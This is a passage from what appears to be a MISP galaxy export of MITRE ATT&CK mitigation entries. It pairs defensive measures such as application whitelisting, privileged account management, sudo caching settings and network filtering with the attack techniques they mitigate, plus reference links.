mitigates: misp-galaxy:mitre-attack-pattern="Remote Services - T1021" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Startup Items - T1165" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Systemd Service - T1501" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Service Stop - T1489" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Shared Webroot - T1051" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1023" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Third-party Software - T1072" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Data from Cloud Storage Object - T1530" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Steal Application Access Token - T1528" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Transfer Data to Cloud Account - T1537" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Cloud Service Dashboard - T1538" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"

Table 2832. Table References
Links
https://attack.mitre.org/mitigations/M1018

Redundant Access Mitigation - T1108

Identify and block potentially malicious software that may be used as a remote access tool, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and will be different across various malware families and versions. Adversaries will likely change tool signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

The tag is: misp-galaxy:mitre-course-of-action="Redundant Access Mitigation - T1108"

Redundant Access Mitigation - T1108 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Redundant Access - T1108" with estimative-language:likelihood-probability="almost-certain"

Table 2833. Table References
Links
https://attack.mitre.org/mitigations/T1108
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
https://technet.microsoft.com/en-us/library/ee791851.aspx
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf

Component Firmware Mitigation - T1109

Prevent adversary access to privileged accounts or access necessary to perform this technique.

Consider removing and replacing system components suspected of being compromised.

The tag is: misp-galaxy:mitre-course-of-action="Component Firmware Mitigation - T1109"

Component Firmware Mitigation - T1109 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Component Firmware - T1109" with estimative-language:likelihood-probability="almost-certain"

Table 2834. Table References
Links
https://attack.mitre.org/mitigations/T1109

System Firmware Mitigation - T1019

Prevent adversary access to privileged accounts or access necessary to perform this technique. Check the integrity of the existing BIOS or EFI to determine if it is vulnerable to modification. Patch the BIOS and EFI as necessary. Use Trusted Platform Module technology. (Citation: TCG Trusted Platform Module)

The tag is: misp-galaxy:mitre-course-of-action="System Firmware Mitigation - T1019"

System Firmware Mitigation - T1019 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="System Firmware - T1019" with estimative-language:likelihood-probability="almost-certain"

Table 2835. Table References
Links
https://attack.mitre.org/mitigations/T1019
http://www.trustedcomputinggroup.org/wp-content/uploads/Trusted-Platform-Module-Summary_04292008.pdf

Threat Intelligence Program - M1019

A threat intelligence program helps an organization generate their own threat intelligence information and track trends to inform defensive priorities to mitigate risk.

The tag is: misp-galaxy:mitre-course-of-action="Threat Intelligence Program - M1019"

Threat Intelligence Program - M1019 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Exploitation for Credential Access - T1212" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Exploitation for Defense Evasion - T1211" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1210" with estimative-language:likelihood-probability="almost-certain"

Table 2836. Table References
Links
https://attack.mitre.org/mitigations/M1019

Data Encrypted Mitigation - T1022

Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to encrypt files, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-course-of-action="Data Encrypted Mitigation - T1022"

Data Encrypted Mitigation - T1022 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Data Encrypted - T1022" with estimative-language:likelihood-probability="almost-certain"

Table 2837. Table References
Links
https://attack.mitre.org/mitigations/T1022
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
https://technet.microsoft.com/en-us/library/ee791851.aspx

Shortcut Modification Mitigation - T1023

Limit permissions for who can create symbolic links in Windows to appropriate groups such as Administrators and necessary groups for virtualization. This can be done through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Create symbolic links. (Citation: UCF STIG Symbolic Links)

Identify and block unknown, potentially malicious software that may be executed through shortcut modification by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-course-of-action="Shortcut Modification Mitigation - T1023"

Shortcut Modification Mitigation - T1023 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1023" with estimative-language:likelihood-probability="almost-certain"

Table 2838. Table References
Links
https://attack.mitre.org/mitigations/T1023
https://www.stigviewer.com/stig/windows_server_2008_r2_member_server/2015-06-25/finding/V-26482
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
https://technet.microsoft.com/en-us/library/ee791851.aspx

User Execution Mitigation - T1204

Use user training as a way to bring awareness to common phishing and spearphishing techniques and how to raise suspicion for potentially malicious events. Application whitelisting may be able to prevent the running of executables masquerading as other files.

If a link is being visited by a user, block unknown or unused files in transit by default that should not be downloaded or by policy from suspicious sites as a best practice to prevent some vectors, such as .scr, .exe, .lnk, .pif, .cpl, etc. Some download scanning devices can open and analyze compressed and encrypted formats, such as zip and RAR that may be used to conceal malicious files in [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027).

If a link is being visited by a user, network intrusion prevention systems and systems designed to scan and remove malicious downloads can be used to block activity. Solutions can be signature and behavior based, but adversaries may construct files in a way to avoid these systems.

The tag is: misp-galaxy:mitre-course-of-action="User Execution Mitigation - T1204"

User Execution Mitigation - T1204 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"

Table 2839. Table References
Links
https://attack.mitre.org/mitigations/T1204

Restrict Registry Permissions - M1024

Restrict the ability to modify certain hives or keys in the Windows Registry.

The tag is: misp-galaxy:mitre-course-of-action="Restrict Registry Permissions - M1024"

Restrict Registry Permissions - M1024 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Service Stop - T1489" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="SIP and Trust Provider Hijacking - T1198" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Service Registry Permissions Weakness - T1058" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Time Providers - T1209" with estimative-language:likelihood-probability="almost-certain"

Table 2840. Table References
Links
https://attack.mitre.org/mitigations/M1024

User Account Control - M1052

Configure Windows User Account Control to mitigate risk of adversaries obtaining elevated process access.

The tag is: misp-galaxy:mitre-course-of-action="User Account Control - M1052"

User Account Control - M1052 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Application Shimming - T1138" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1088" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Trusted Relationship - T1199" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="SSH Hijacking - T1184" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Pass the Hash - T1075" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="File System Permissions Weakness - T1044" with estimative-language:likelihood-probability="almost-certain"

Table 2841. Table References
Links
https://attack.mitre.org/mitigations/M1052

Privileged Process Integrity - M1025

Protect processes with high privileges that can be used to interact with critical system components through use of protected process light, anti-process injection defenses, or other process integrity enforcement measures.

The tag is: misp-galaxy:mitre-course-of-action="Privileged Process Integrity - M1025"

Privileged Process Integrity - M1025 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Authentication Package - T1131" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Security Support Provider - T1101" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"

Table 2842. Table References
Links
https://attack.mitre.org/mitigations/M1025

Port Knocking Mitigation - T1205

Mitigation of some variants of this technique could be achieved through the use of stateful firewalls, depending upon how it is implemented.

The tag is: misp-galaxy:mitre-course-of-action="Port Knocking Mitigation - T1205"

Port Knocking Mitigation - T1205 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Port Knocking - T1205" with estimative-language:likelihood-probability="almost-certain"

Table 2843. Table References
Links
https://attack.mitre.org/mitigations/T1205

Privileged Account Management - M1026

Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.

The tag is: misp-galaxy:mitre-course-of-action="Privileged Account Management - M1026"

Privileged Account Management - M1026 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Access Token Manipulation - T1134" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Bootkit - T1067" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1088" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Create Account - T1136" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Firmware Corruption - T1495" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation Event Subscription - T1084" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Windows Admin Shares - T1077" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Web Shell - T1100" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="System Firmware - T1019" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Sudo - T1169" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="SSH Hijacking - T1184" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Signed Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Service Execution - T1035" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Sudo Caching - T1206" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1210" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Component Object Model and Distributed COM - T1175" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Pass the Hash - T1075" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Pass the Ticket - T1097" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1076" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Kerberoasting - T1208" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Server Software Component - T1505" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Application Deployment Software - T1017" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Credentials in Registry - T1214" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Windows Remote Management - T1028" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Kernel Modules and Extensions - T1215" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Systemd Service - T1501" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Third-party Software - T1072" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Shared Webroot - T1051" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Implant Container Image - T1525" with estimative-language:likelihood-probability="almost-certain"

Table 2844. Table References
Links
https://attack.mitre.org/mitigations/M1026

Multiband Communication Mitigation - T1026

The tag is: misp-galaxy:mitre-course-of-action="Multiband Communication Mitigation - T1026"

Multiband Communication Mitigation - T1026 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Multiband Communication - T1026" with estimative-language:likelihood-probability="almost-certain"

Table 2845. Table References
Links
https://attack.mitre.org/mitigations/T1026
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf

Sudo Caching Mitigation - T1206

Setting the <code>timestamp_timeout</code> to 0 will require the user to input their password every time <code>sudo</code> is executed. Similarly, ensuring that the <code>tty_tickets</code> setting is enabled will prevent this leakage across tty sessions.

The tag is: misp-galaxy:mitre-course-of-action="Sudo Caching Mitigation - T1206"

Sudo Caching Mitigation - T1206 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Sudo Caching - T1206" with estimative-language:likelihood-probability="almost-certain"

Table 2846. Table References
Links
https://attack.mitre.org/mitigations/T1206

Operating System Configuration - M1028

Make configuration changes related to the operating system or a common feature of the operating system that result in system hardening against techniques.

The tag is: misp-galaxy:mitre-course-of-action="Operating System Configuration - M1028"

Operating System Configuration - M1028 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Accessibility Features - T1015" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="BITS Jobs - T1197" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Setuid and Setgid - T1166" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Sudo Caching - T1206" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1076" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="HISTCONTROL - T1148" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Hidden Users - T1147" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Bash History - T1139" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Communication Through Removable Media - T1092" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Create Account - T1136" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Exfiltration Over Other Network Medium - T1011" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Install Root Certificate - T1130" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Password Filter DLL - T1174" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098" with estimative-language:likelihood-probability="almost-certain"

Table 2847. Table References
Links
https://attack.mitre.org/mitigations/M1028

Remote Data Storage - M1029

Use remote security log and sensitive file storage where access can be controlled better to prevent exposure of intrusion detection log data or sensitive information.

The tag is: misp-galaxy:mitre-course-of-action="Remote Data Storage - M1029"

Remote Data Storage - M1029 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Stored Data Manipulation - T1492" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Third-party Software - T1072" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Indicator Removal on Host - T1070" with estimative-language:likelihood-probability="almost-certain"

Table 2848. Table References
Links
https://attack.mitre.org/mitigations/M1029

Time Providers Mitigation - T1209

Identify and block potentially malicious software that may be executed as a time provider by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.

Consider using Group Policy to configure and block subsequent modifications to W32Time parameters. (Citation: Microsoft W32Time May 2017)

The tag is: misp-galaxy:mitre-course-of-action="Time Providers Mitigation - T1209"

Time Providers Mitigation - T1209 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Time Providers - T1209" with estimative-language:likelihood-probability="almost-certain"

Table 2849. Table References
Links
https://attack.mitre.org/mitigations/T1209
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-tools-and-settings

Scheduled Transfer Mitigation - T1029

The tag is: misp-galaxy:mitre-course-of-action="Scheduled Transfer Mitigation - T1029"

Scheduled Transfer Mitigation - T1029 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Scheduled Transfer - T1029" with estimative-language:likelihood-probability="almost-certain"

Table 2850. Table References
Links
https://attack.mitre.org/mitigations/T1029
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf

Limit Software Installation - M1033

Block users or groups from installing unapproved software.

The tag is: misp-galaxy:mitre-course-of-action="Limit Software Installation - M1033"

Limit Software Installation - M1033 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Browser Extensions - T1176" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Systemd Service - T1501" with estimative-language:likelihood-probability="almost-certain"

Table 2851. Table References
Links
https://attack.mitre.org/mitigations/M1033

Credential Access Protection - M1043

Use capabilities to prevent successful credential access by adversaries; including blocking forms of credential dumping.

The tag is: misp-galaxy:mitre-course-of-action="Credential Access Protection - M1043"

Credential Access Protection - M1043 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="LSASS Driver - T1177" with estimative-language:likelihood-probability="almost-certain"

Table 2852. Table References
Links
https://attack.mitre.org/mitigations/M1043

Limit Hardware Installation - M1034

Block users or groups from installing or using unapproved hardware on systems, including USB devices.

The tag is: misp-galaxy:mitre-course-of-action="Limit Hardware Installation - M1034"

Limit Hardware Installation - M1034 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Hardware Additions - T1200" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Replication Through Removable Media - T1091" with estimative-language:likelihood-probability="almost-certain"

Table 2853. Table References
Links
https://attack.mitre.org/mitigations/M1034

Path Interception Mitigation - T1034

Eliminate path interception weaknesses in program configuration files, scripts, the PATH environment variable, services, and in shortcuts by surrounding PATH variables with quotation marks when functions allow for them (Citation: Microsoft CreateProcess). Be aware of the search order Windows uses for executing or loading binaries and use fully qualified paths wherever appropriate (Citation: MSDN DLL Security). Clean up old Windows Registry keys when software is uninstalled to avoid keys with no associated legitimate binaries.

Periodically search for and correct or report path interception weaknesses on systems that may have been introduced using custom or available tools that report software using insecure path configurations (Citation: Kanthak Sentinel).

Require that all executables be placed in write-protected directories. Ensure that proper permissions and directory access control are set to deny users the ability to write files to the top-level directory <code>C:</code> and system directories, such as <code>C:\Windows\</code>, to reduce places where malicious files could be placed for execution.

Identify and block potentially malicious software that may be executed through the path interception by using whitelisting (Citation: Beechey 2010) tools, like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies, (Citation: Corio 2008) that are capable of auditing and/or blocking unknown executables.

The tag is: misp-galaxy:mitre-course-of-action="Path Interception Mitigation - T1034"

Path Interception Mitigation - T1034 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Path Interception - T1034" with estimative-language:likelihood-probability="almost-certain"

Table 2854. Table References
Links
https://attack.mitre.org/mitigations/T1034
http://msdn.microsoft.com/en-us/library/ms682425
https://msdn.microsoft.com/en-us/library/ff919712.aspx
https://skanthak.homepage.t-online.de/sentinel.html
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx

Service Execution Mitigation - T1035

Ensure that permissions disallow services that run at a higher permissions level from being created or interacted with by a user with a lower permission level. Also ensure that high permission level service binaries cannot be replaced or modified by users with a lower permission level.

Identify unnecessary system utilities or potentially malicious software that may be used to interact with Windows services, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-course-of-action="Service Execution Mitigation - T1035"

Service Execution Mitigation - T1035 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Service Execution - T1035" with estimative-language:likelihood-probability="almost-certain"

Table 2855. Table References
Links
https://attack.mitre.org/mitigations/T1035
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
https://technet.microsoft.com/en-us/library/ee791851.aspx

Scheduled Task Mitigation - T1053

Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized administrators can create scheduled tasks on remote systems. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for permission weaknesses in scheduled tasks that could be used to escalate privileges. (Citation: Powersploit)

Configure settings for scheduled tasks to force tasks to run under the context of the authenticated account instead of allowing them to run as SYSTEM. The associated Registry key is located at <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\SubmitControl</code>. The setting can be configured through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > Security Options: Domain Controller: Allow server operators to schedule tasks, set to disabled. (Citation: TechNet Server Operator Scheduled Task)

Configure the Increase Scheduling Priority option to only allow the Administrators group the rights to schedule a priority process. This can be can be configured through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Increase scheduling priority. (Citation: TechNet Scheduling Priority)

Identify and block unnecessary system utilities or potentially malicious software that may be used to schedule tasks using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-course-of-action="Scheduled Task Mitigation - T1053"

Scheduled Task Mitigation - T1053 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"

Table 2856. Table References
Links
https://attack.mitre.org/mitigations/T1053
https://github.com/mattifestation/PowerSploit
https://technet.microsoft.com/library/jj852168.aspx
https://technet.microsoft.com/library/dn221960.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
https://technet.microsoft.com/en-us/library/ee791851.aspx

Account Use Policies - M1036

Configure features related to account use like login attempt lockouts, specific login times, etc.

The tag is: misp-galaxy:mitre-course-of-action="Account Use Policies - M1036"

Account Use Policies - M1036 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"

Table 2857. Table References
Links
https://attack.mitre.org/mitigations/M1036

Filter Network Traffic - M1037

Use network appliances to filter ingress or egress traffic and perform protocol-based filtering. Configure software on endpoints to filter network traffic.

The tag is: misp-galaxy:mitre-course-of-action="Filter Network Traffic - M1037"

Filter Network Traffic - M1037 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="BITS Jobs - T1197" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Endpoint Denial of Service - T1499" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Network Denial of Service - T1498" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Multi-hop Proxy - T1188" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Forced Authentication - T1187" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="LLMNR/NBT-NS Poisoning and Relay - T1171" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Exfiltration Over Alternative Protocol - T1048" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Port Knocking - T1205" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Remote Access Tools - T1219" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Standard Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Cloud Instance Metadata API - T1522" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Transfer Data to Cloud Account - T1537" with estimative-language:likelihood-probability="almost-certain"
